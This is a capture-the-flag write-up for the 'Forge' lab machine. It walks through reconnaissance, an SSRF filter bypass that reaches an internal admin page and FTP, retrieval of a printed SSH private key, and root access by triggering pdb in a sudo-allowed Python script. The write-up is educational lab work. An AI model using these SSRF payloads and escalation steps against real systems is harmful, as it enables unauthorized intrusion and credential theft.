Box Statistics
Name | Forge |
Release Date | September 11, 2021 |
Operating System | Linux |
Difficulty | \(\color{yellow} \text{MEDIUM}\) |
Difficulty Rating | |
Machine Matrix | |
Base Points | |
Creator | NoobHacker9999 |
Reconnaissance
Port Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(sarange㉿kali)-[~/Forge]
└─$ sudo nmap -p- -vvv -oA all_ports 10.10.11.111 --min-rate 10000
# Nmap 7.91 scan initiated Thu Oct 14 10:49:16 2021 as: nmap -p- -vvv -oA all_ports --min-rate 10000 10.10.11.111
Increasing send delay for 10.10.11.111 from 0 to 5 due to 1666 out of 5552 dropped probes since last increase.
Nmap scan report for 10.10.11.111
Host is up, received echo-reply ttl 63 (0.092s latency).
Scanned at 2021-10-14 10:49:17 EDT for 9s
Not shown: 65532 closed ports
Reason: 65532 resets
PORT STATE SERVICE REASON
21/tcp filtered ftp no-response
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu Oct 14 10:49:27 2021 -- 1 IP address (1 host up) scanned in 10.19 seconds
┌──(sarange㉿kali)-[~/Forge]
└─$ sudo nmap -p80,22 -sC -sV -oA scripts 10.10.11.111
# Nmap 7.91 scan initiated Thu Oct 14 10:50:36 2021 as: nmap -p80,22,21 -sC -sV -oA scripts 10.10.11.111
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.088s latency).
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: GalleryS
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 14 10:50:48 2021 -- 1 IP address (1 host up) scanned in 11.75 seconds
User
Image Upload
Browsing to the IP, we get redirected to http://forge.htb, so we put that on our /etc/hosts
file.
On the site, we can see that there are only 2 pages, /index
and /upload
. On the upload page we have 2 options, upload a local file, or upload from a URL.
If we try to get forge.htb
, 127.0.0.1
or localhost
we get an error.
We can try to bypass that filter by changig the base of the IP.
Trying to get http://0x7F000001
, we bypass the filter, but the response is not that usefull.
Virtual Host
Let’s try to find if there is any subdomain using virtual host that we don’t know about.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(sarange㉿kali)-[~/Forge]
└─$ gobuster vhost forge.htb -u http://forge.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://forge.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/10/14 12:14:58 Starting gobuster in VHOST enumeration mode
===============================================================
Found: admin.forge.htb (Status: 200) [Size: 27]
Progress: 372 / 114442 (0.33%)
Putting admin.forge.htb
to our /etc/hosts
file and browsing to it, we get a response the message Only localhost is allowed!
.
Chaining our findings
We can try to access admin.forge.htb
from the /upload
endpoint, but since this is through virtual hosting, we need to obfuscate the site in a way that bypasses the filter but still fetches the admin page.
Simply getting http://admin.forgE.htb
instead of http://admin.forge.htb
gives us a result.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
<title>Admin Portal</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br><br>
<br><br><br><br>
<center><h1>Welcome Admins!</h1></center>
</body>
</html>
Getting the /announcements
page, we see the following.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html>
<head>
<title>Announcements</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br>
<ul>
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
</ul>
</body>
</html>
So we can try to hit the ftp on the server, that is show as filtered on our nmap.
To do so, we need to provide the credentials to the ftp in the URL, so the URL that we will try to hit is http://admin.forgE.htb/upload?u=ftp://user:heightofsecurity123!@forgE.htb
from the /upload
functionality on the original site.
1
2
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r----- 1 0 1000 33 Oct 14 05:06 user.txt
Now we can download the user.txt using the followin URL http://admin.forgE.htb/upload?u=ftp://user:heightofsecurity123!@forgE.htb/user.txt
from the /upload
functionality on the original site.
Since this seems to be the home directory of the user user
, we can try to download the ssh private key on ~/.ssh/id_rsa
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-----BEGIN OPENSSH PRIVATE KEY-----
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
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----
We can ssh to the user using this key.
1
2
3
4
5
6
7
8
9
10
┌──(sarange㉿kali)-[~/Forge]
└─$ vim user.rsa
┌──(sarange㉿kali)-[~/Forge]
└─$ chmod 600 user.rsa
┌──(sarange㉿kali)-[~/Forge]
└─$ ssh -i user.rsa user@forge.htb
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
[more ouput]
Root
First, we see if we can run anything as root using sudo.
1
2
3
4
5
6
-bash-5.0$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
We can try to read this script to see if we can escape from it during execution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
We see that the script peaks one random port to bind to and listens for a hardcoded password, secretadminpassword
. If the password supplied is incorrect, it simply exits, else, there are 3 hardcoded options that you can choose to execute, each of them, executes a command as root. This part is not exploitable.
We can see though that the script has a try-catch statement, that if an exception is caught, the pdb
debugger will be executed, givin us an interactive python session as root. That exception can be triggered on demand on line option = int(clientsock.recv(1024).strip())
since the variable clientsock.recv(1024)
is user controlled. Passing a non-numeric character or string to that variable will trigger an exception while converting it to an integer.
Since the port that the application talks to is random, we will open an socks5
proxy through ssh
and use proxychains
to pass traffic from our host machine to the remote host on whatever port is needed.
Let’s install proxychains, change the configuration from port 9050
(tor) to a one we want to assign as the socks5
proxy port, for me that will be 1080
. After that, we will ssh
to the remote machine, suppling the -D $PORT
argument so that we create the socks5
proxy. Then we will execute the python script as root and see what port is binding to.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(sarange㉿kali)-[~]
└─$ sudo apt install proxychains -y
[more ouput]
┌──(sarange㉿kali)-[~]
└─$ sudo vim /etc/proxychains.conf
┌──(sarange㉿kali)-[~]
└─$ tail -n 2 /etc/proxychains.conf
#socks4 127.0.0.1 9050
socks5 127.0.0.1 1080
┌──(sarange㉿kali)-[~/Forge]
└─$ ssh -i user.rsa user@forge.htb -D 1080
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
[more ouput]
-bash-5.0$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:40310
The script is bound to port 40310
. We can now use proxychains to connect to it using netcat
, then we give it the correct password so it asks us to choose an option and then we should give it a non-numeric character or string so that we trigger the exception.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(sarange㉿kali)-[~]
└─$ proxychains nc localhost 40310
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-127.0.0.1:40310-<><>-OK
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
hey
We can see that the output hangs, so the exception was triggered. Now on the remote host, we can try to import the os
library and call /bin/bash
from there.
1
2
3
4
5
6
7
8
9
10
-bash-5.0$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:40310
invalid literal for int() with base 10: b'hey'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import os
(Pdb) os.system('/bin/bash')
root@forge:/home/user# cd /root
root@forge:~# wc -c root.txt
33 root.txt